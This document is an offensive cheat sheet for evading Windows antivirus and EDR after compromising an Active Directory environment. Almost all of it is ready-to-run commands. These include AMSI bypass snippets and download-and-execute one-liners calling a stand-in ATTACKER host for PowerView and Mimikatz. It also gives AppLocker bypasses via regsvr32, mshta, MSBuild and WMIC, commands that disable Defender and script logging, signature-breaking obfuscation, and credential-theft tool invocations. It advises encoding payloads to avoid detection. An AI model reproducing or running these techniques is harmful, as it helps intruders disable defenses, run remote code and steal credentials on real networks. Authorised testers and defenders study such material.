Windows AV/EDR Evasion
Post-compromise evasion for AD engagements: AMSI bypass (reflection/memory patch), PowerShell logging evasion, AppLocker bypass (regsvr32/mshta/msbuild/LOLBAS), Constrained Language Mode bypass, Defender exclusions, and C# tools without PowerShell.
Every AD attack payload runs through at least one security control. AMSI scans PowerShell, AppLocker blocks unsigned executables, and Defender/EDR flag known signatures. This note covers the sequence: check what’s active → bypass AMSI → bypass AppLocker → evade Defender.
Environment Recon (What’s Active)
# Windows Defender status
Get-MpComputerStatus | select AMServiceEnabled, RealTimeProtectionEnabled, AMRunningMode
# AppLocker policy
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections
# PowerShell Constrained Language Mode (CLM)
$ExecutionContext.SessionState.LanguageMode
# FullLanguage = no CLM; ConstrainedLanguage = AppLocker/WDAC active
# ScriptBlock logging
Get-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
# Module logging
Get-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging'
# AMSI providers
reg query "HKLM\SOFTWARE\Microsoft\AMSI\Providers"
AMSI Bypass
AMSI (Antimalware Scan Interface) intercepts PowerShell script content and passes it to the installed AV provider. Patching AmsiScanBuffer in memory disables scanning for the current PS session.
All raw bypass snippets below are flagged by AV — encode/split them before use.
amsiInitFailed reflection (classic — encode before use)
# Technique — set amsiInitFailed to $true
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Force AMSI context to null
$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b=$a.GetField('amsiContext','NonPublic,Static')
$c=$b.GetValue($null)
[IntPtr]$d=$c
[Runtime.InteropServices.Marshal]::WriteInt32([IntPtr]($d.ToInt64()+8), 0)
PowerShell v2 (no AMSI support)
# PS v2 predates AMSI — no scanning
powershell -version 2 -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/payload.ps1')"
# Check if v2 is available
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root
Encoded command (bypass basic script block logging)
# Generate encoded command
$cmd = "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerView.ps1')"
$b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell -enc $b64 -NoProfile -NonInteractive
Load from memory (avoid disk writes)
# HTTP download + execute in memory (no disk write)
IEX (New-Object System.Net.WebClient).DownloadString('http://ATTACKER/Invoke-Mimikatz.ps1')
PowerShell Logging Bypass
Disable ScriptBlock logging (requires admin)
Set-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging' -Name EnableScriptBlockLogging -Value 0
Run without logging (non-interactive)
powershell -NoProfile -NonInteractive -WindowStyle Hidden -enc BASE64_CMD
Downgrade + no profile
powershell -version 2 -NoProfile -NoLogo -ExecutionPolicy Bypass -enc BASE64
AppLocker Bypass
AppLocker blocks execution of unsigned scripts and binaries outside allowed paths.
Find writable trusted paths
C:\Windows\Tasks\
C:\Windows\Temp\
C:\Windows\tracing\
C:\Windows\System32\spool\drivers\color\
%LOCALAPPDATA%\Temp\
%APPDATA%\
C:\Windows\System32\tasks\
regsvr32 — Squiblydoo (no AppLocker check, no mark-of-the-web)
regsvr32.exe /s /n /u /i:http://ATTACKER/payload.sct scrobj.dll
.sct file content:
<scriptlet>
<script language="JScript">
new ActiveXObject("WScript.Shell").Run("cmd.exe /c whoami > C:\\Temp\\out.txt")
</script>
</scriptlet>
mshta — HTA execution (bypasses AppLocker script rules)
mshta.exe http://ATTACKER/payload.hta
mshta.exe vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run(""powershell -enc BASE64"")"))
MSBuild — inline C# task (when .NET is trusted)
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe payload.csproj
payload.csproj inline task template executes arbitrary C# at build time.
InstallUtil — .NET 4.0 uninstaller bypass
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.exe
rundll32 — JavaScript via mshtml
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd",0,true);
WMIC — JScript via xsl (XSL Script Processing)
wmic process list /format:http://ATTACKER/payload.xsl
PowerShell Constrained Language Mode Bypass
CLM restricts .NET/COM access. Methods to escape:
# Check current mode
$ExecutionContext.SessionState.LanguageMode
# PS v2 (full language)
powershell -version 2
# Direct .NET invocation (still works in CLM)
[System.Diagnostics.Process]::Start("cmd.exe", "/c whoami > C:\Temp\out.txt")
# Add-Type (compiles and runs C# — usually blocked in CLM with AppLocker)
Add-Type -TypeDefinition @"
using System.Diagnostics;
public class Exec {
public static void Run(string cmd) { Process.Start("cmd.exe", "/c " + cmd); }
}
"@
[Exec]::Run("whoami")
When PS is fully locked, use C# compiled binaries (SharpView, Rubeus, SharpHound) instead — they run as normal executables outside CLM.
Windows Defender Exclusions
# Add exclusion (requires admin)
Add-MpPreference -ExclusionPath "C:\Temp"
Add-MpPreference -ExclusionExtension "ps1","exe"
Add-MpPreference -ExclusionProcess "powershell.exe"
# List existing exclusions
Get-MpPreference | Select ExclusionPath, ExclusionExtension, ExclusionProcess
# Disable real-time protection (requires admin)
Set-MpPreference -DisableRealtimeMonitoring $true
# Registry disable (persistent)
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
String Obfuscation
# Split strings to break signatures
$iex = 'Inv'+'oke-Exp'+'ression'
& ([scriptblock]::Create($iex)) "whoami"
# Character concatenation
$cmd = [char]119+[char]104+[char]111+[char]97+[char]109+[char]105 # "whoami"
Invoke-Expression $cmd
# Variable substitution
$a = "am"; $b = "si"; Set-Variable ($a+$b) $null
# Tick escaping (PS-specific)
I`E`X (New-Object Net.WebClient).DownloadString('http://ATTACKER/payload.ps1')
LOLBAS Reference
Microsoft-signed binaries for code execution, download, or persistence:
| Binary | Technique | Use Case |
|---|---|---|
regsvr32.exe | Squiblydoo SCT | AppLocker bypass |
mshta.exe | HTA/VBScript | AppLocker bypass |
msbuild.exe | Inline C# task | AppLocker bypass |
installutil.exe | Uninstall event | AppLocker bypass |
certutil.exe | -decode / -urlcache | Download + decode payload |
bitsadmin.exe | /Transfer | Download files |
wmic.exe | /format: xsl | AppLocker bypass |
cmstp.exe | INF file | AppLocker bypass |
forfiles.exe | /c cmd | Trusted path execution |
odbcconf.exe | /a REGSVR | DLL registration |
pcalua.exe | -a executable | Execution via PCAppCompat |
xwizard.exe | DLL hijack | Sideloading |
Full list: https://lolbas-project.github.io/
C# Tools Without PowerShell
When PS is fully blocked, compiled C# executables bypass PS-level controls:
# AD enumeration
.\SharpView.exe Get-DomainUser -KerberosPreauthNotRequired
.\SharpView.exe Find-LocalAdminAccess
# Kerberos attacks
.\Rubeus.exe kerberoast /nowrap
.\Rubeus.exe asreproast /format:hashcat
# BloodHound collection
.\SharpHound.exe -c All
# Credential extraction
.\SharpDPAPI.exe credentials
.\SharpUp.exe audit
# Privilege escalation checks
.\Seatbelt.exe -group=user